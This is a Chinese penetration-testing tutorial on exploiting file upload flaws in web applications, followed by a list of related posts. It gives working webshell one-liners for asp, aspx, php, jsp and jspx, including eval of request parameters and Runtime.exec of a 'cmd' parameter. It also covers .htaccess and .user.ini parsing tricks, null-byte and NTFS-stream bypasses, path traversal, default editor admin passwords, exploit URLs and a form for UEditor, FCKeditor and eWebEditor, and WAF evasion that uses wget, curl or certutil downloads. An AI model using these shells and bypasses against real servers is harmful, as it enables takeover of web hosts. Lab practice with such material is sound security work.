jsp文件上传_文件上传
一、文件上传的目的——脚本文件
文件上传的一共可造成三种危害,从低到高分别是,任意内容文件,html文件,脚本文件。
任意内容文件
任意内容文件指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为<?php phpinfo();?>的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如php cgi解析漏洞,文件包含漏洞,结合任意目录上传覆盖正常文件。
html文件
即允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。
由于富文本编辑的未授权上传的特殊性,结合html的特殊性,kindeditor就曾爆出这样的漏洞。
百度搜inurl:kindeditor/attached/file/
除了html文件之外,xml文件能起到同样的效果,xml xss的语句如下。
<?xml version="1.0"?>
或者
<?xml version="1.0"?>
以及svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
但由于这种漏洞危害还是过小,所以并不受重视,Kindeditor默认支持html上传,ueditor默认支持xml上传。
脚本文件
脚本文件指可执行动态脚本,就是webshell,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害。
首先我们要知道有哪些脚本文件,常见的4大类,asp,aspx,php,jsp。
asp
IIS6.0默认支持,同时更高版本也通常为了兼容而支持。
IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer。
asp一句话木马和hello world
<%eval request("a")%>
<%Response.Write("hello world")%>
aspx
IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的ashx和asmx。
aspx一句话和hello world
<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%>
<%Response.Write("hello world")%>
ashx,asmx,soap
https://github.com/luoke90hou/files/blob/main/customize.ashx
https://github.com/luoke90hou/files/blob/main/customize.asmx
https://github.com/luoke90hou/files/blob/main/Customize.soap
web.config
类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx,以下为参考。
<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers><add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" /></handlers></system.webServer>
</configuration>
stm,shtm,shtml
不能作为木马,但可以读取web.config内容和一些信息。
<!--#ECHO var="ALL_HTTP"-->
<!--#ECHO var="DOCUMENT_NAME"-->
<!--#ECHO var="SERVER_SOFTWARE"-->
<!--#ECHO var="SERVER_NAME"-->
<!--#ECHO var="SERVER_PORT"-->
<!--#ECHO var="REMOTE_ADDR"-->
<!--#ECHO var="REMOTE_HOST"-->
<!--#ECHO var="PATH_TRANSLATED"-->
<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="./web.config"-->
另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中当webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持。
如果IIS部署了MVC3,还支持cshtml
https://github.com/luoke90hou/files/blob/main/customize.cshtml
PHP
IIS,apache,nginx均可能支持。其中apache可能默认支持从左向右识别后缀,即1.php.rar.bak,同时可能有php格式支持正则如下。
也有的版本是<FileMatch ".+.ph(p[3457]?|t|tml).">
也就是说php3,php4,php5,php7,pht,phtml,phar均有可能解析成php
除此之外,如下内容的.htaccess可支持同目录下任意格式解析成php,
AddType application/x-httpd-php .abc
.user.ini的效果和.htaccess差不多,但是必须要求同目录下有一个php文件。
auto_prepend_file=a.jpg
.htaccess只支持apache,.user.ini支持所有cgi模式启动的php
php一句话和phpinfo如下
<?php @eval($_POST['a']) ?>
<?php phpinfo();?>
jsp
tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp
jsp shell和hello world如下
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<%out.println("Hello world");%>
jspx是jsp的xml表达,shell如下
<jsp:root xmlns:jsp="Oracle Java Technologies | Oracle" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
</jsp:root>
war格式为jsp文件打包,通常用来快速部署网站用的,tomcat,jboss,weblogic,websphere后台均可通过部署war包来getshell。
jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持
除了上述常见脚本文件之外,python网站使用py脚本,perl网站使用pl脚本和cgi脚本,ColdFusion网站使用cfm脚本,Servlet网站使用java脚本。这些均有对应的webshell。
一、文件上传可以控制的参数
靶场:https://github.com/c0ny1/upload-labs
1,前端验证,MIME验证
基本无用,抓包改包即可突破
2,目录或者文件名
现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。
如果允许完全控制文件名,或者目录,则可以尝试上传../../../testtest.php文件穿越目录。具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc,xls,exe覆盖掉正常的文件。
如果不完全控制,也就是上传test.php.png会拼接成202004017141111111test.php.png,也可以尝试用特殊字符截断成202004017141111111test.php%00.png。不单单可以在文件名上截断,同样可以在目录上截断。
如果目录,文件名均不可控,后缀使用黑名单控制,可以参考第一章,用冷门后缀绕过。Windows服务器上还有一些其他办法。
大小写 【PhP】
自动省略最后的.和空格 【php.】【php 】
NTFS文件流【php::$DATA】Pass-08
最安全的做法就是目录,文件名均不可控,再加白名单校验后缀。此时只能尝试特殊字符截断,linux中只有00可以截断,windows中?:<>/|等不支持的字符均有可能产生截断效果。
3,文件内容控制
有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分,一是文件头,即16进制下的前几个字符,最常用的是gif文件头,GIF89au,gif文件头由于全是英文数字,比png和jpg适用性都广。
二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传。
copy 1.png/b+1.php 2.png
4,绕过GD库
GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染。
这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload。
绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最难成功。
Pass-16靶场,已成功的一个jpg
https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg
参考https://xz.aliyun.com/t/2657
5,条件竞争
如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件。也可以利用报错使删除逻辑不再执行。
条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解。
参考Pass-17,可以用bp大量发包上传,也可以bp大量发包访问webshell的地址,此时一般用访问即生成一个webshell的小马。
三、编辑器的漏洞
1,1.4.3 aspx ueditor
由于windows文件系统问号截断导致,可以利用远程下载功能,在恶意服务器上下载后缀为jpg的webshell。以下是exp
<form action="
http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr:<input type="text" name="source[]" /></p >
0:50 2019/1/1<input type="submit" value="Submit" />
</form>
2,eWebEditor,asp
后台有默认密码admin/admin,admin/admin888,admin888/admin888,数据库地址eWebEditor/db/ewebeditor.asa
后台可直接修改样式然后预览上传webshell。
同时还有文件遍历漏洞
3,fckeditor,asp和php
均为低版本漏洞,asp需配合IIS6.0解析漏洞,上传1.asp;.png两次,第一次被重命名为1_asp;.png,第二次被重命名1.asp;(1).png
asp也可以新建1.asp的文件夹
/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z
php则需要配合php5.2 %00截断漏洞,在目录处截断
/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif
四、 绕过waf拦截
文件上传绕waf,可以增加干扰让waf识别不出文件上传
如上图,boundary前后可以加空格。
Content-Disposition filename可以随意大小写
form-data可以替换成任意值
"3.php"双引号可以去掉
3.php可以换行,后面可以加%00字符
绕过waf对于文件内容的检测,可以先上传本地包含的木马,再上传加密的shellcode,或者远程包含,或者免杀+图片马的思路,也可以先上传一个写文件的木马,然后一个字符一个字符写出新的木马。
有的waf禁止上传exe或者二进制文件,可以利用系统自带的远程下载工具下载而非web层面上的上传,比如wget,curl,powershell,certutil,bitsadmin,vbs。
还有的waf会对文件大小进行检测,可以上传多个小文件,利用winrar,copy命令合并。
觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。
jsp文件上传_文件上传相关推荐
- ant react 上传_React实战之Ant Design—Upload上传_附件上传
React实战之Ant Design-Upload上传_附件上传 Upload组件大家都在官方文档中看过了,但写的时候还是会遇到许多问题,一些新手看了文档后感觉无从下手,本文过多的简绍就不说了,直接看 ...
- java实现上传_文件上传(java)
最近看了一本书上的代码,代码的主要功能是实现文件的上传.但是,当我运行代码的时候竟然报错了.(我用的IDEA).有错就解决吧.以下是我遇到的几个错误. 废话不多说先附上源代码. UploadServl ...
- java struts2 excel上传_文件上传方法,使用Struts2,实现Excel文件读取并写入数据库技术...
文件上传方法,使用Struts2,实现Excel文件读取并写入数据库技术 如题:文件信息的批量导入-- 项目中经常会遇到客户的一些单表信息的数据批量导入,也就是提供定制Excel表,再把Excel表中 ...
- java上传文件的二进制_文件的上传:二进制文件的上传;
***二进制文件上传的方法: ***在lib目录下:导入文件上传的开源架包:commons-fileupload-1.2.1.jar,commons-io-2.0.jar: 建立Servlet类:Up ...
- httpclient base64 文件上传_文件上传下载
说道文件上传下载,这个业务需求并不是很复杂思想如下 1.将文件上传到 某台服务器上的指定的路径下也可以这样理解 文件上传就是将本地图片发送到别的地方,下载就是将别的地方的图片放在本地 2.将路径同文件 ...
- transferto 文件不存在_文件上传时,MultipartFile.transferTo() 方法报 FileNotFoundException...
Spring Upload File 报错FileNotFoundException 环境: Springboot2.0.4JDK1.8内嵌 Apache Tomcat/8.5.32 1.前端代码 前 ...
- python分片上传_分片上传_分片上传_上传文件_Python_SDK 示例_对象存储 OSS - 阿里云...
OSS提供的分片上传(Multipart Upload)功能,将要上传的较大文件(Object)分成多个数据块(Part)来分别上传,上传完成后再调用CompleteMultipartUpload接口 ...
- channelsftp 上传文件为空_文件上传踩坑记及文件清理原理探究
目录 1. 糟糕的异步存储文件实现 2. 异常原因推理 3. 问题解决方式 4. spring清理文件原理 5. tomcat清理文件原理 最近搞一个文件上传功能,由于文件太大,或者说其中包含了比较多 ...
- java 实现文件秒传_文件传输和秒传
InetAddress类: InetAddress类是IP地址的封装类,就是把设定的某个ip封装成InetAddress对象,然后使用这个对象能够进行相关的操作.例如获取域名或主机名.上网ip等等.这 ...
最新文章
- jquery将html转为pdf文件,通过Jquery将HTML Div转换为PDF
- Java Web知识梳理
- 《LeetCode力扣练习》第75题 颜色分类 Java
- 解决MPLAB X IDE的文件注释出现乱码的问题
- python基础教程:常量 (最全常量解析)
- .NET Core 2.x中使用Named Options处理多个强类型配置实例
- django后台数据管理admin设置代码
- 质数的和与积(信息学奥赛一本通-T1405)
- html居中代码logo,关于logo(前端开发教程)垂直居中的问题
- 你可能小赚,但苹果永远不亏!华强北老板说一台新iPhone只赚10块钱?
- 卷积神经网络处理猫和狗图片
- idea 引入包报错:Unable to provision, see the following errors
- 人脸识别c语言正方形,Matlab实现的基于FLD的人脸识别系统源代码
- 力扣报错 error: <identifier> expected
- android手机怎么上卡,安卓手机卡慢怎么办 安卓手机卡慢解决方案【详解】
- FPGA数字时钟系统-设计教程
- Android 监听屏幕唤醒和关闭的广播
- RA layer request failed
- 人工智能——问题求解
- 红孩子:基于网络的渠道增值
热门文章
- 中英文字体名字对应表
- 客户端控件调用服务器的参数
- InstallShild的研究,msde2000,.netframwork,ScriptProject与ScriiptMSIProject的区别
- 图像灰度图,直方图,像素通道问题
- 栈区,堆区,全局区,文字常量区,程序代码区详解(程序中不同类型数据所在区)
- java第三周学习总结
- python拼接字符串的方法_python—字符串拼接三种方法
- 调节树莓派终端窗口的字体大小
- 四川大学计算机学院 期末考试安排,四川大学《计算机组成原理》2018期末考试B卷.doc...
- 安全方向比路由交换难吗_「网工进阶」路由交换:链路聚合的配置,你都会吗...